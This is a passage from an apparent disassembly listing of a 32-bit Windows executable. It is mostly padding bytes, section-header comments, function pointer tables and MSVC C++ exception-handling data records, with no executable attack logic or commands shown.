'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 1000h _294ADE7B ends ; Section 2. (virtual address 00037000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00037000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write _8C6BDE73 segment para public 'BSS' use32 assume cs:_8C6BDE73 ;org 437000h assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing off_437000 dd offset sub_40170D ; DATA XREF: sub_403360+3FEo off_437004 dd offset sub_430320 ; DATA XREF: sub_403890+2o off_437008 dd offset off_401EA6 ; DATA XREF: sub_406850+2o sub_4068B0o off_43700C dd offset sub_40205E ; DATA XREF: sub_406CE0+45o off_437010 dd offset loc_401FE1 ; DATA XREF: sub_409640+4o ; sub_4096A0+Bo ... off_437014 dd offset loc_401EC4 ; DATA XREF: sub_40A920+2o ; sub_40A970+1Co dd offset sub_430320 align 10h off_437020 dd offset loc_4019EC ; DATA XREF: sub_40AC10+68o ; sub_40ACD0+1Eo flt_437024 dd 1.0 ; DATA XREF: _294ADE7B:0040B326r off_437028 dd offset sub_401956 ; DATA XREF: sub_40E390+157o ; sub_4114E0+1Do dd offset sub_401FA0 dd 0 off_437034 dd offset sub_4019D8 ; DATA XREF: sub_40E390+142o ; sub_4114E0+23o off_437038 dd offset loc_40113B ; DATA XREF: sub_4116F0+36o ; sub_4117A0+1Do dd offset loc_401E88 dd 0 off_437044 dd offset sub_401465 ; DATA XREF: sub_411EB0+6Do ; sub_411FB0+1Fo dd offset sub_401BD6 align 10h off_437050 dd offset loc_40144C ; DATA XREF: sub_4164D0+68o off_437054 dd offset sub_40105F ; DATA XREF: sub_416570+8Bo off_437058 dd offset sub_40133E ; DATA XREF: sub_416640+84o off_43705C dd offset sub_4018E8 ; DATA XREF: sub_416710+8o ; sub_417100+6o dd offset sub_401F32 align 8 off_437068 dd offset loc_401A78 ; DATA XREF: sub_416740+7Bo off_43706C dd offset sub_401E6A ; DATA XREF: sub_416800+8o off_437070 dd offset loc_40100A ; DATA XREF: sub_416830+10o off_437074 dd offset sub_4010A0 ; DATA XREF: sub_416860+4Bo off_437078 dd offset sub_401596 ; DATA XREF: sub_4168E0+6Bo off_43707C dd offset loc_401843 ; DATA XREF: sub_417160o sub_41E1A0+8o dd offset sub_401BBD align 8 off_437088 dd offset sub_401104 ; DATA XREF: sub_4171B0o ; sub_417770+36o align 10h dbl_437090 dq -3.0517578125e-5 ; DATA XREF: sub_417F90+22r dd 0 off_43709C dd offset sub_401A14 ; DATA XREF: sub_4186E0+Bo ; sub_4187E0+6o off_4370A0 dd offset sub_401D39 ; DATA XREF: sub_419680+Do sub_4196E0o off_4370A4 dd offset sub_4013A7 ; DATA XREF: _294ADE7B:00419A42o ; _294ADE7B:00419B2Do dd offset sub_4015F0 align 10h off_4370B0 dd offset loc_40190B ; DATA XREF: sub_41BD40+77o ; sub_41FE70+1Do dd offset sub_401B63 dd 0 off_4370BC dd offset sub_4011D6 ; DATA XREF: sub_4267F0+32o dd offset sub_401983 dd offset sub_40195B dd 0 off_4370CC dd offset loc_401640 ; DATA XREF: sub_426BB0+6Ao ; sub_426C50+1Do dd offset sub_401983 dd offset sub_430320 dd 0 off_4370DC dd offset loc_4019CE ; DATA XREF: sub_426D40+32o dd offset sub_401983 dd offset sub_40131B dd 0 off_4370EC dd offset sub_401762 ; DATA XREF: _294ADE7B:00427282o dd offset sub_401983 dd offset sub_401D5C dd 0 dd offset dword_437268 off_437100 dd offset loc_430361 ; DATA XREF: _294ADE7B:00430358o ; _5AD6BD6B:off_43B900o ... align 8 dd 0FFFFFFFFh, 4306F6h, 43070Ah, 49h dup(0) off_437238 dd offset off_43FB90 ; DATA XREF: _8C6BDE73:00437250o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_437238 dd 0 db 0 ; DATA XREF: _8C6BDE73:00437278o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 437250h dword_437268 dd 3 dup(0) ; DATA XREF: _8C6BDE73:004370FCo dd offset off_43FB90 dd offset unk_437258 dd 45h dup(0) dword_437390 dd 19930520h, 5, 4373B0h, 5 dup(0) ; DATA XREF: _294ADE7B:004316E6o dd 0FFFFFFFFh, 4316CCh, 0 dd offset loc_4316A0 dd 1, 4316ABh, 2, 4316B6h, 3, 4316C1h, 2 dup(0) dword_4373E0 dd 19930520h, 3Dh, 437400h, 5 dup(0) ; DATA XREF: _294ADE7B:00431A60o dd 0FFFFFFFFh, 431710h, 0 dd offset loc_43171B dd 1, 431726h, 2, 431734h, 3, 431742h, 4, 431750h, 5, 43175Eh dd 6, 43176Ch, 7, 43177Ah, 8, 431788h, 9, 431796h, 0Ah dd 4317A4h, 0Bh, 4317B2h, 0Ch, 4317C0h, 0Dh, 4317CEh, 0Eh dd 4317DCh, 0Fh, 4317EAh, 10h, 4317F8h, 11h, 431806h, 12h dd 431814h, 13h, 431822h, 14h, 431830h, 15h, 43183Eh, 16h dd 43184Ch, 17h, 43185Ah, 18h, 431868h, 19h, 431876h, 1Ah dd 431884h, 1Bh, 431892h, 1Ch, 4318A0h, 1Dh, 4318AEh, 1Eh dd 4318BCh, 1Fh, 4318CAh, 20h, 4318D8h, 21h, 4318E6h, 22h dd 4318F4h, 23h, 431902h, 24h, 431910h, 25h, 43191Eh, 26h dd 43192Ch, 27h, 43193Ah, 28h, 431948h, 29h, 431956h, 2Ah dd 431964h, 2Bh, 431972h, 2Ch, 431980h, 2Dh, 43198Eh, 2Eh dd 43199Ch, 2Fh, 4319AAh, 30h, 4319B8h, 31h, 4319C6h, 32h dd 4319D4h, 33h, 4319E2h, 34h, 4319F0h, 35h, 4319FEh, 36h dd 431A0Ch, 37h, 431A1Ah, 38h, 431A28h, 39h, 431A36h, 3Ah dd 431A44h, 3Bh, 431A52h, 0Eh dup(0) dword_437620 dd 19930520h, 2, 437640h, 5 dup(0) ; DATA XREF: _294ADE7B:00431B53o dd 0FFFFFFFFh, 431B40h, 0 dd offset loc_431B48 dd 2 dup(0) dword_437658 dd 19930520h, 2, 437678h, 5 dup(0) ; DATA XREF: _294ADE7B:00431B83o dd 0FFFFFFFFh, 431B70h, 0 dd offset loc_431B78 align 10h dword_437690 dd 19930520h, 1, 4376B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431BA8o dd 0FFFFFFFFh, 431BA0h, 2 dup(0) dword_4376C0 dd 19930520h, 7, 4376E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431C19o dd 0FFFFFFFFh, 431BC0h, 0 dd offset loc_431BC8 dd 1, 431BD3h, 2, 431BE1h, 3, 431BEFh, 4, 431BFDh, 5, 431C0Bh dd 2 dup(0) dword_437720 dd 19930520h, 7, 437740h, 5 dup(0) ; DATA XREF: _294ADE7B:00431C99o dd 0FFFFFFFFh, 431C40h, 0 dd offset loc_431C48 dd 1, 431C53h, 2, 431C61h, 3, 431C6Fh, 4, 431C7Dh, 5, 431C8Bh dd 2 dup(0) dword_437780 dd 19930520h, 11h, 4377A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431D48o dd 0FFFFFFFFh, 431CC0h, 0FFFFFFFFh, 431CC8h, 0FFFFFFFFh dd 431CD0h, 0FFFFFFFFh, 431CD8h, 0FFFFFFFFh, 431CE0h, 0FFFFFFFFh dd 431CE8h, 0FFFFFFFFh, 431CF0h, 0FFFFFFFFh, 431CF8h, 0FFFFFFFFh dd 431D00h, 0FFFFFFFFh, 431D08h, 0FFFFFFFFh, 431D10h, 0FFFFFFFFh dd 431D18h, 0FFFFFFFFh, 431D20h, 0FFFFFFFFh, 431D28h, 0FFFFFFFFh dd 431D30h, 0Eh, 431D38h, 0Eh, 431D40h, 4 dup(0) dword_437838 dd 19930520h, 0Bh, 437858h, 5 dup(0) ; DATA XREF: _294ADE7B:00431DDBo dd 0FFFFFFFFh, 431D80h, 0 dd offset loc_431D88 dd 0FFFFFFFFh, 431D90h, 2, 431D98h, 0FFFFFFFFh, 431DA0h dd 0FFFFFFFFh, 431DA8h, 0FFFFFFFFh, 431DB0h, 0FFFFFFFFh dd 431DB8h, 7, 431DC3h, 7, 431DCBh, 9, 431DD3h, 4 dup(0) dword_4378C0 dd 19930520h, 31h, 4378E0h, 5 dup(0) ; DATA XREF: _294ADE7B:0043201Bo dd 0FFFFFFFFh, 431E00h, 0 dd offset loc_431E0B dd 0 dd offset loc_431E16 dd 0FFFFFFFFh, 431E21h, 0FFFFFFFFh, 431E2Ch, 4, 431E37h dd 0FFFFFFFFh, 431E42h, 6, 431E4Dh, 6, 431E58h, 8, 431E63h dd 0FFFFFFFFh, 431E6Eh, 0Ah, 431E79h, 0Ah, 431E84h, 0Ah dd 431E8Fh, 0Ah, 431E9Ah, 0Ah, 431EA5h, 0Ah, 431EB0h, 0FFFFFFFFh dd 431EBBh, 11h, 431EC6h, 11h, 431ED1h, 0FFFFFFFFh, 431EDCh dd 0FFFFFFFFh, 431EE7h, 15h, 431EF2h, 0FFFFFFFFh, 431EFDh dd 0FFFFFFFFh, 431F08h, 18h, 431F13h, 0FFFFFFFFh, 431F1Eh dd 0FFFFFFFFh, 431F29h, 0FFFFFFFFh, 431F34h, 0FFFFFFFFh dd 431F3Fh, 1Dh, 431F4Ah, 1Dh, 431F55h, 1Dh, 431F60h, 1Dh dd 431F6Bh, 1Dh, 431F76h, 22h, 431F81h, 22h, 431F8Ch, 22h dd 431F97h, 22h, 431FA2h, 22h, 431FADh, 22h, 431FB8h, 22h dd 431FC3h, 22h, 431FCEh, 22h, 431FD9h, 22h, 431FE4h, 22h dd 431FEFh, 22h, 431FFAh, 22h, 432005h, 22h, 432010h, 0Ch dup(0) dword_437A98 dd 19930520h, 2, 437AB8h, 5 dup(0) ; DATA XREF: _294ADE7B:004320CFo dd 0FFFFFFFFh, 4320B8h, 0 dd offset loc_4320B0 align 10h dword_437AD0 dd 19930520h, 2, 437AF0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432115o dd 0FFFFFFFFh, 4320FBh, 0 dd offset loc_4320F0 dd 2 dup(0) dword_437B08 dd 19930520h, 1, 437B28h, 5 dup(0) ; DATA XREF: _294ADE7B:00432138o dd 0FFFFFFFFh, 432130h, 2 dup(0) dword_437B38 dd 19930520h, 3, 437B58h, 5 dup(0) ; DATA XREF: _294ADE7B:00432171o dd 0FFFFFFFFh, 432150h, 0 dd offset loc_43215B dd 0 dd offset loc_432166 dd 2 dup(0) dword_437B78 dd 19930520h, 1, 437B98h, 5 dup(0) ; DATA XREF: _294ADE7B:0043219Bo dd 0FFFFFFFFh, 432190h, 2 dup(0) dword_437BA8 dd 19930520h, 1, 437BC8h, 5 dup(0) ; DATA XREF: _294ADE7B:004321B8o dd 0FFFFFFFFh, 4321B0h, 2 dup(0) dword_437BD8 dd 19930520h, 2, 437BF8h, 5 dup(0) ; DATA XREF: _294ADE7B:004321E0o dd 0FFFFFFFFh, 4321D0h, 0 dd offset loc_4321D8 align 10h dword_437C10 dd 19930520h, 54h, 437C30h, 5 dup(0) ; DATA XREF: _294ADE7B:004324E6o dd 0FFFFFFFFh, 4321F0h, 0 dd offset loc_4321FB dd 1, 432206h, 2, 432211h, 3, 43221Ch, 4, 432227h, 5, 432232h dd 6, 43223Dh, 7, 432248h, 8, 432253h, 9, 43225Bh, 0Ah dd 432263h, 0Bh, 43226Bh, 0Ch, 432276h, 0Dh, 43227Eh, 0Eh dd 432289h, 0Fh, 432294h, 10h, 43229Fh, 11h, 4322AAh, 12h dd 4322B5h, 13h, 4322C0h, 14h, 4322CBh, 15h, 4322D6h, 16h dd 4322E1h, 17h, 4322ECh, 18h, 4322F7h, 19h, 432302h, 1Ah dd 43230Dh, 1Bh, 432318h, 1Ch, 432323h, 1Dh, 43232Eh, 1Eh dd 432339h, 1Eh, 432344h, 1Eh, 43234Fh, 1Eh, 43235Ah, 1Eh dd 432365h, 1Eh, 432370h, 1Eh, 43237Bh, 25h, 432386h, 1Eh dd 432386h, 1Eh, 432391h, 28h, 43239Ch, 1Eh, 43239Ch, 1Eh dd 4323A7h, 2Bh, 4323B2h, 1Eh, 4323B2h, 1Eh, 4323BDh, 2Eh dd 4323C8h, 1Eh, 4323C8h, 1Eh, 4323D3h, 31h, 4323DEh, 1Eh dd 4323DEh, 1Eh, 4323E9h, 34h, 4323F4h, 1Eh, 4323F4h, 1Eh dd 4323FFh, 37h, 43240Ah, 1Eh, 43240Ah, 1Eh, 432415h, 3Ah dd 432420h, 1Eh, 432420h, 1Eh, 43242Bh, 3Dh, 432436h, 1Eh dd 432436h, 1Eh, 432441h, 40h, 43244Ch, 1Eh, 43244Ch, 1Eh dd 432457h, 43h, 432462h, 1Eh, 432462h, 1Eh, 43246Dh, 46h dd 432478h, 1Eh, 432478h, 1Eh, 432483h, 